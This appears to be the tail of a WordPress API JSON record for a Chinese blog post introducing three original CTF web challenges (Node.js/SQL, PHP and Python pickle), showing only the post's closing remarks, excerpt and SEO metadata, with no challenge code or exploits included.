\u7684\u5b57\u7b26\u9650\u5236\u5bf9\u4e8e\u4e60\u60ef\u4e8e\u7f29\u884c\u7684OIer\u4eec\u53ef\u80fd\u6ca1\u4ec0\u4e48\u96be\u5ea6\uff0c\u6ce8\u610f\u8fd9\u91cc\u5e76\u4e0d\u662f\u7279\u6307\uff0c\u6784\u9020\u8d77\u6765\u4e5f\u662f\u9700\u8981\u82b1\u8d39\u4e00\u70b9\u5fc3\u601d\u7684\u3002\u603b\u4e4b\uff0c\u4e0d\u7ba1\u600e\u4e48\u6837\uff0c\u6211\u662f\u73a9\u5f97\u5f88\u5f00\u5fc3\u4e86\uff0c\u5e0c\u671b\u5404\u4f4d\u4e5f\u80fd\u50cf\u6211\u4e00\u6837\u73a9\u5f97\u5f00\u5fc3\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002 \u9898\u4e00\uff1aeasy_calc \uff0c\u6d89 &hellip; <a href=\"https:\/\/cf.mnihyc.com\/blog\/archives\/1740\" class=\"more-link\">\u7ee7\u7eed\u9605\u8bfb<span class=\"screen-reader-text\">CTF Web \u539f\u521b\u9898\u4e09\u9053<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[111],"tags":[],"class_list":["post-1740","post","type-post","status-publish","format-standard","hentry","category-web"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CTF Web \u539f\u521b\u9898\u4e09\u9053 - mnihyc&#039;s Blog<\/title>\n<meta name=\"description\" content=\"\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002 \u9898\u4e00\uff1aeasy_calc \uff0c\u6d89\u53ca Node.js\u3001SQL\uff1b \u9898\u4e8c\uff1aeasy_template\uff0c\u6d89\u53ca PHP\uff1b \u9898\u4e09\uff1aeasy_pickle\uff0c\u6d89\u53ca Python\u3002 \u63d0\u4f9b\u5404\u9898 docker \u73af\u5883\uff0c\u8bbe\u8ba1\u601d\u8def\u53ca\u5177\u4f53\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mnihyc.com\/blog\/archives\/1740\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CTF Web \u539f\u521b\u9898\u4e09\u9053 - mnihyc&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002 \u9898\u4e00\uff1aeasy_calc \uff0c\u6d89\u53ca Node.js\u3001SQL\uff1b \u9898\u4e8c\uff1aeasy_template\uff0c\u6d89\u53ca PHP\uff1b \u9898\u4e09\uff1aeasy_pickle\uff0c\u6d89\u53ca Python\u3002 \u63d0\u4f9b\u5404\u9898 docker \u73af\u5883\uff0c\u8bbe\u8ba1\u601d\u8def\u53ca\u5177\u4f53\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mnihyc.com\/blog\/archives\/1740\" \/>\n<meta property=\"og:site_name\" content=\"mnihyc&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2023-01-12T07:49:35+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-09-01T16:15:15+00:00\" \/>\n<meta name=\"author\" content=\"mnihyc\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mnihyc\" \/>\n<meta name=\"twitter:site\" content=\"@mnihyc\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"mnihyc\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1740#article\",\"isPartOf\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1740\"},\"author\":{\"name\":\"mnihyc\",\"@id\":\"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\"},\"headline\":\"CTF Web \u539f\u521b\u9898\u4e09\u9053\",\"datePublished\":\"2023-01-12T07:49:35+00:00\",\"dateModified\":\"2023-09-01T16:15:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1740\"},\"wordCount\":318,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\"},\"articleSection\":[\"Web\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mnihyc.com\/blog\/archives\/1740#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1740\",\"url\":\"https:\/\/mnihyc.com\/blog\/archives\/1740\",\"name\":\"CTF Web \u539f\u521b\u9898\u4e09\u9053 - mnihyc&#039;s Blog\",\"isPartOf\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/#website\"},\"datePublished\":\"2023-01-12T07:49:35+00:00\",\"dateModified\":\"2023-09-01T16:15:15+00:00\",\"description\":\"\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002 \u9898\u4e00\uff1aeasy_calc \uff0c\u6d89\u53ca Node.js\u3001SQL\uff1b \u9898\u4e8c\uff1aeasy_template\uff0c\u6d89\u53ca PHP\uff1b \u9898\u4e09\uff1aeasy_pickle\uff0c\u6d89\u53ca Python\u3002 \u63d0\u4f9b\u5404\u9898 docker \u73af\u5883\uff0c\u8bbe\u8ba1\u601d\u8def\u53ca\u5177\u4f53\",\"breadcrumb\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1740#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/mnihyc.com\/blog\/archives\/1740\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/mnihyc.com\/blog\/archives\/1740#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/mnihyc.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CTF Web \u539f\u521b\u9898\u4e09\u9053\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/mnihyc.com\/blog\/#website\",\"url\":\"https:\/\/mnihyc.com\/blog\/\",\"name\":\"mnihyc&#039;s Blog\",\"description\":\"Welcome!\",\"publisher\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/mnihyc.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-Hans\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751\",\"name\":\"mnihyc\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g\",\"caption\":\"mnihyc\"},\"logo\":{\"@id\":\"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/image\/\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CTF Web \u539f\u521b\u9898\u4e09\u9053 - mnihyc&#039;s Blog","description":"\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002 \u9898\u4e00\uff1aeasy_calc \uff0c\u6d89\u53ca Node.js\u3001SQL\uff1b \u9898\u4e8c\uff1aeasy_template\uff0c\u6d89\u53ca PHP\uff1b \u9898\u4e09\uff1aeasy_pickle\uff0c\u6d89\u53ca Python\u3002 \u63d0\u4f9b\u5404\u9898 docker \u73af\u5883\uff0c\u8bbe\u8ba1\u601d\u8def\u53ca\u5177\u4f53","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/mnihyc.com\/blog\/archives\/1740","og_locale":"zh_CN","og_type":"article","og_title":"CTF Web \u539f\u521b\u9898\u4e09\u9053 - mnihyc&#039;s Blog","og_description":"\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002 \u9898\u4e00\uff1aeasy_calc \uff0c\u6d89\u53ca Node.js\u3001SQL\uff1b \u9898\u4e8c\uff1aeasy_template\uff0c\u6d89\u53ca PHP\uff1b \u9898\u4e09\uff1aeasy_pickle\uff0c\u6d89\u53ca Python\u3002 \u63d0\u4f9b\u5404\u9898 docker \u73af\u5883\uff0c\u8bbe\u8ba1\u601d\u8def\u53ca\u5177\u4f53","og_url":"https:\/\/mnihyc.com\/blog\/archives\/1740","og_site_name":"mnihyc&#039;s Blog","article_published_time":"2023-01-12T07:49:35+00:00","article_modified_time":"2023-09-01T16:15:15+00:00","author":"mnihyc","twitter_card":"summary_large_image","twitter_creator":"@mnihyc","twitter_site":"@mnihyc","twitter_misc":{"\u4f5c\u8005":"mnihyc","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"16 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/mnihyc.com\/blog\/archives\/1740#article","isPartOf":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1740"},"author":{"name":"mnihyc","@id":"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751"},"headline":"CTF Web \u539f\u521b\u9898\u4e09\u9053","datePublished":"2023-01-12T07:49:35+00:00","dateModified":"2023-09-01T16:15:15+00:00","mainEntityOfPage":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1740"},"wordCount":318,"commentCount":0,"publisher":{"@id":"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751"},"articleSection":["Web"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/mnihyc.com\/blog\/archives\/1740#respond"]}]},{"@type":"WebPage","@id":"https:\/\/mnihyc.com\/blog\/archives\/1740","url":"https:\/\/mnihyc.com\/blog\/archives\/1740","name":"CTF Web \u539f\u521b\u9898\u4e09\u9053 - mnihyc&#039;s Blog","isPartOf":{"@id":"https:\/\/mnihyc.com\/blog\/#website"},"datePublished":"2023-01-12T07:49:35+00:00","dateModified":"2023-09-01T16:15:15+00:00","description":"\u4e3a\u4e0d\u5b58\u5728\u7684\u6821\u5185\u8d5b\u51fa\u4e86\u4e09\u9053\uff08\u53ef\u80fd\u4f1a\u88ab\u91c7\u7528\uff09\u7684 CTF \u9898\uff0c\u4e3b\u8981\u662f Web \u65b9\u5411\u3002 \u9898\u4e00\uff1aeasy_calc \uff0c\u6d89\u53ca Node.js\u3001SQL\uff1b \u9898\u4e8c\uff1aeasy_template\uff0c\u6d89\u53ca PHP\uff1b \u9898\u4e09\uff1aeasy_pickle\uff0c\u6d89\u53ca Python\u3002 \u63d0\u4f9b\u5404\u9898 docker \u73af\u5883\uff0c\u8bbe\u8ba1\u601d\u8def\u53ca\u5177\u4f53","breadcrumb":{"@id":"https:\/\/mnihyc.com\/blog\/archives\/1740#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/mnihyc.com\/blog\/archives\/1740"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/mnihyc.com\/blog\/archives\/1740#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/mnihyc.com\/blog"},{"@type":"ListItem","position":2,"name":"CTF Web \u539f\u521b\u9898\u4e09\u9053"}]},{"@type":"WebSite","@id":"https:\/\/mnihyc.com\/blog\/#website","url":"https:\/\/mnihyc.com\/blog\/","name":"mnihyc&#039;s Blog","description":"Welcome!","publisher":{"@id":"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/mnihyc.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-Hans"},{"@type":["Person","Organization"],"@id":"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/61e167d6d591fdd20dcfee2cf848a751","name":"mnihyc","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/8d111f863afc3f98816bc96220f97077d470a96f41088de9f19530fc480f8e72?s=96&d=mm&r=g","caption":"mnihyc"},"logo":{"@id":"https:\/\/mnihyc.com\/blog\/#\/schema\/person\/image\/"}}]}},"_links":{"self":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts\/1740","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/comments?post=1740"}],"version-history":[{"count":9,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts\/1740\/revisions"}],"predecessor-version":[{"id":1754,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/posts\/1740\/revisions\/1754"}],"wp:attachment":[{"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/media?parent=1740"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/categories?post=1740"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cf.mnihyc.com\/blog\/wp-json\/wp\/v2\/tags?post=1740"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}